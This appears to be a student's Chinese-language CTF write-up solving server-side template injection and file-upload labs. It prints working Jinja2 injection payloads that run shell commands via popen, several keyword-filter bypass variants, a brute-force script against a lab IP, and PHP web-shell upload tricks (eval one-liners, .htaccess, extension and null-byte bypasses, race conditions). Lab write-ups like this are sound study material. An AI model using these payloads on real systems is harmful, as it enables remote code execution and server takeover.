SSIT
SSIT-1、
入门
SSIT-2、
绕过了 {{
看起来好像第三种方便一点(
import requests
headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
url = "http://101.35.209.40:7772/"
for i in range(0,500):
# data = {"text": "{{ ().__class__.__bases__[0].__subclasses__()["+str(i)+"] }}"} 7771
data = {"text": "{%print( ().__class__.__base__.__subclasses__()["+str(i)+"] )%}"}
res = requests.post(url=url, headers=headers, data=data)
if 'os._wrap_close' in res.text:
print(i)
break
# print(res)
其实和上一题差不多
注意 data 里面要用 ()._ 而不是 “”._ ,不然双引号会闭合
SSIT-3、
过滤了 [ ] ,则
感觉第一种好写点
SSIT-4、
被坑了(
如果在 POST 里面传输数据的话就要将 request.args 替换为 request.values
然后,text 等于后不要加空格!!!
比如text={{...
不要写成text = {{...
!!!
然后就照前面搞了
text={{ ()[request.values.class][request.values.bases][0][request.values.subclasses]()[127][request.values.init][request.values.globals]['popen']('cat /flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&globals=__globals__
SSIT-5、
事实就是被骗了,chr函数在
().__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.chr
这里面
然后就和前面一样(
text={% set chr=().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__base__.__subclasses__()[127].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}
# {{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}
这里面引号不用编码
SSIT-6、
过滤了 .
那就是依样画葫芦了(感觉这份学习资料挺全的((
{{ ()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat /flag')['read']() }}
SSIT-7、
那就将关键词编码就OK
{{ ()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[127]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /flag').read() }}
SSIT-8、
STFW
特别注意上面这一条,就是被这一条折磨了好久,所以能不用 pop 就不用
那么我们写的 payload 应该为
{{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}
则可以
text={%set qwq=dict(a=a)|join|count%} #【qwq=1】
{%set n=dict(aaaaaaaaa=a)|join|count%} #【n=9】
{%set th=dict(aaaaaaaaaaaaa=a)|join|count%} #【th=13】
{%set t=dict(aa=a)|join|count%} #【t=2】
{%set e=n*t%} #【e=18】
{%set num=n*th+n+qwq%} #【num=127】
{%set gannum=e*t+n+qwq+qwq%} #【gannum=47】
{%set p=dict(pop=a)|join%} #【p=pop】
{%set s=lipsum|string|list|attr(p)(n)%} #【s= 】
{%set x=lipsum|string|list|attr(p)(e)%} #【x=_】
{%set cl=(x,x,dict(cla=a,ss=a)|join,x,x)|join%} # 【cl=__class__】
{%set ba=(x,x,dict(ba=a,se=a)|join,x,x)|join%} #【ba=__base__】
{%set su=(x,x,dict(subclas=a,ses=a)|join,x,x)|join%} # 【su=__subclasses__】
{%set ge=(x,x,dict(geti=a,tem=a)|join,x,x)|join%} # 【ge=__getitem__】
{%set in=(x,x,dict(in=a,it=a)|join,x,x)|join%} # 【in=__init__】
{%set gl=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} # 【gl=__globals__】
{%set bu=(x,x,dict(buil=a,tins=a)|join,x,x)|join%} # 【bu=__builtins__】
{%set ch=dict(c=a,hr=a)|join%} # 【ch=chr】
{%set po=dict(po=a,pen=a)|join%} #【po=popen】
{%set re=dict(re=a,ad=a)|join%} # 【re=read】
{%set get=dict(get=a)|join%} # 【get=get】
{%set gc=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(get)(bu)|attr(get)(ch)%} # gc为chr()函数,为了得到"/"
{%set pa=(dict(cat=a)|join,s,gc(gannum),dict(flag=a)|join)|join%} # 【pa=cat /flag】
{{()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(ge)(po)(pa)|attr(re)()}}
# ().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()
这种就先写出 payload,然后再想想办法把过滤的关键字替换掉就ok
SSIT-9、
其实和上一题差不多,因为刚刚写的都把关键字给避开了,所以改一改,直接数字用上就ok
【SSIT】 全部解决
File Upload
Upload-1、
上传一句话木马,将格式改为 jpg ,上传的时候用 bp 抓包,将 jpg 格式改为 php , 然后就可以连蚁剑了,flag在根目录里
Upload-2
上传一句话木马,将格式改为 jpg
题目提示说 .htaccess 文件,搜索后发现可以在文件中添加
AddType application/x-httpd-php .jpg
修改 jpg 文件的 MIME 类型,使其能够在浏览器中作为脚本执行,通俗讲就是可以将 jpg 文件当作 php 代码,然后蚁剑连接找 flag
Upload-3
做法和第一题差不多,因为没有限制 MIME 的类型
有的话做法如下:
Upload-4
现在传入 jpg 文件还会检查文件头标志,那么可以找一张图片,和一句话木马结合,然后做法如题一
Upload-5
str_ireplace() 不区分大小写
可知一些后缀被加入了黑名单,会被删除,但发现只会删除一次
做法同1
Upload-6
str_replace() 区分大小写
那就改成 pHp 等等,反正识别的时候不区分大小写(
做法同1
Upload-7
注意路径和文件名都要改,然后不用手动解码,因为这是在 url 中的,网页会自动解码
最后就可以连接上 http://101.35.209.40:30007/upload/sl.php 了
!!注意因为截断,sl.php 这个文件就会传输进去,所以可以连接上这个文件
最后找 flag
Upload-8
发现和上一题有点区别,在网上查查
改改 body 里的路径,注意 %00 要 url-decode,因为这里的路径网页并不会自动解码,文件名可以不用改
最后连接上 666.php 就可以了
Upload-9
上传黑名单,多次尝试后
所以将 .php 改为 .php5 ,然后蚁剑连接
学习文献:
Upload-10
题目提示条件竞争,STFW
其实挺好理解的,就是在上传文件和检查文件之间其实有一点点时间空隙,那我们可以直接传入以下代码
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[123]);?>');?>
只要在完成安全检查(检查后缀)之前进行访问,就可以在执行代码然后再当前目录下生成另一份 php 代码,再进行蚁剑连接
所以直接用 Burp 爆破,传两份访问请求,一份用于上传,一份用于访问
但是出意外了,怎么也访问不到(
首先有第一个问题
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');?>
但是
所以只写入了下面这些东西
'<?php eval($_POST['
但是一直访问不到的问题还没解决
因为我一直用的是群里发的 burp 的社区版
然后研究了一下,发现我一直忽略了 ->
换上了专业版之后,发送的速度一秒能传几百条,很快就访问成功了(
破案了
Upload-11
先学习一下
上传一张 gif ,然后再下载下来,用 Winhex 打开,对比一下和原来那张有哪里是一样的
然后在一样的部分上换成一句话木马后,上传,连接
?file=upload/1089780701.gif
但是我又出锅了,flag 怎么都显示不出来(
研究了好久 + 问学长 之后,才知道蚁剑有的时候会缓存奇怪的东西,导致原本的东西显示不出来
只要清一下缓存就好了
Upload-12
提示 move_uploaded_file($temp_file, $img_path) 有其他的漏洞
STFW
类似的,上传一份 php 文件 1.php
然后将文件名命名为 1.php/.
利用 /. 绕过黑名单检测,成功上传后蚁剑连接 1.php 就行了
Upload-13
看 Hint ,仔细翻一下上传的源代码
先判断 MIME 类型,然后根据 ‘.’ 来分割文件名,判断最后一个字符串是否在白名单内,是的话就取第一个字符串和最后一个字符串组成文件名再上传
想半天,感觉好像没什么漏洞(
还是 STFW
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集
(还是 STFW 厉害)
原理大概是令 $_POST[‘save_name’] ->
$_POST['save_name'][0]='1.php/';
$_POST['save_name'][2]='jpg';
$file=$_POST['save_name'];
然后此时 $file 就是一个数组了,所以不会执行下面这一步
那后面的就好理解了,照代码模拟下来就会发现传入的文件名变成了 1.php/. ,然后连接就行
哈哈哈这个操作真的牛逼